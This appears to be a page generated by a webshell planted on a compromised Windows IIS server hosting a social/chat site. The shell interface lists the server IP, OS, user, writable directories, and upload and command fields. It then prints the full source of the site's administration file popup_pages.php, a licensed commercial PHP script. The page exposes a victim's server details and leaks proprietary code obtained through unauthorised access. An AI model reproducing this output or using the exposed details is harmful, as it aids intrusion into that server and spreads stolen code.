403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/administration/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/administration/popup_pages.php
<?php
/* (C) Websplosion LLC, 2001-2021

IMPORTANT: This is a commercial software product
and any kind of using it must agree to the Websplosion's license agreement.
It can be found at http://www.chameleonsocial.com/license.doc

This notice may not be removed from the source code. */

include("../_include/core/administration_start.php");

class CAdminPopupPages extends CHtmlBlock {

    var $table = 'info';

    function getTable()
    {
        return $this->table;
    }

    function action()
    {
        global $g;
        $cmd = get_param('cmd', '');

        if ($cmd == 'edit') {
            $lang = Common::langParamValue();
            $page = get_param('page', '');
            $title = get_param('title', '');
            $text = get_param('text', '');

            // check that item exists and add otherwise
            $sql = 'INSERT INTO ' . $this->getTable() . '
				SET page = ' . to_sql($page, 'Text') . ',
                    title = ' . to_sql($title, 'Text') . ',
                    text = ' . to_sql($text, 'Text') . ',
                    lang = ' . to_sql($lang, 'Text') . ''
                    . 'ON DUPLICATE KEY UPDATE'
                    . ' title = ' . to_sql($title, 'Text') . ',
                    text = ' . to_sql($text, 'Text');
            DB::execute($sql);

            global $p;
            redirect($p . '?page=' . $page . '&lang=' . $lang . '&action=saved');
        }
    }

    function parseBlock(&$html)
    {
        $languageCurrent = Common::langParamValue();
        $html->setvar('lang', $languageCurrent);

        $where = '';

        $tmplOptionSet = Common::getOption('set', 'template_options');
        if($tmplOptionSet == 'urban') {
            $where = ' AND page IN ("priv_policy", "term_cond")';
        }

        $sql = 'SELECT page FROM ' . $this->getTable() . '
            WHERE lang = "default" ' . $where . ' ORDER BY page ASC LIMIT 1';

        $page = get_param('page', '');
        if($page == '') {
            $page = DB::result($sql);
        }

        $html->setvar('page_current', $page);



        $sql = 'SELECT * FROM ' . $this->getTable() . '
            WHERE lang = "default" ' . $where . ' ORDER BY page ASC';
        DB::query($sql);

        while ($row = DB::fetch_row()) {
            $html->setvar('page', $row['page']);

            $pageTitle = ucfirst(str_replace('_', ' ', $row['page']));

            $html->setvar('page_title_link', $pageTitle);

            if ($page == $row['page']) {
                $html->parse("mail_on", false);
                $html->setblockvar("mail_off", "");
            } else {
                $html->parse("mail_off", false);
                $html->setblockvar("mail_on", "");
            }
            $html->parse("mail", true);

        }


        $sql = 'SELECT * FROM ' . $this->getTable() . ' '
                . 'WHERE lang = ' . to_sql($languageCurrent, 'Text')
                . ' AND page = ' . to_sql($page, 'Text');
        DB::query($sql);
        if ($row = DB::fetch_row()) {
            $html->setvar('page_current', $row['page']);
            $html->setvar('page_title', htmlspecialchars($row['title'], ENT_QUOTES, 'UTF-8'));
            $html->setvar('page_text', $row['text']);
        }


        $languageCurrent = Common::langParamValue();
        $html->setvar('lang', $languageCurrent);

        adminParseLangsModule($html, $languageCurrent);

		if (isset(CAdminHeader::$linkToMainMenuAdmin['news'])) {
			$html->setvar('section_page',  CAdminHeader::$linkToMainMenuAdmin['news']);
		}

        parent::parseBlock($html);
    }

}

$page = new CAdminPopupPages("", $g['tmpl']['dir_tmpl_administration'] . "popup_pages.html");
$header = new CAdminHeader("header", $g['tmpl']['dir_tmpl_administration'] . "_header.html");
$page->add($header);
$footer = new CAdminFooter("footer", $g['tmpl']['dir_tmpl_administration'] . "_footer.html");
$page->add($footer);

include("../_include/core/administration_close.php");

Youez - 2016 - github.com/yon3zu
LinuXploit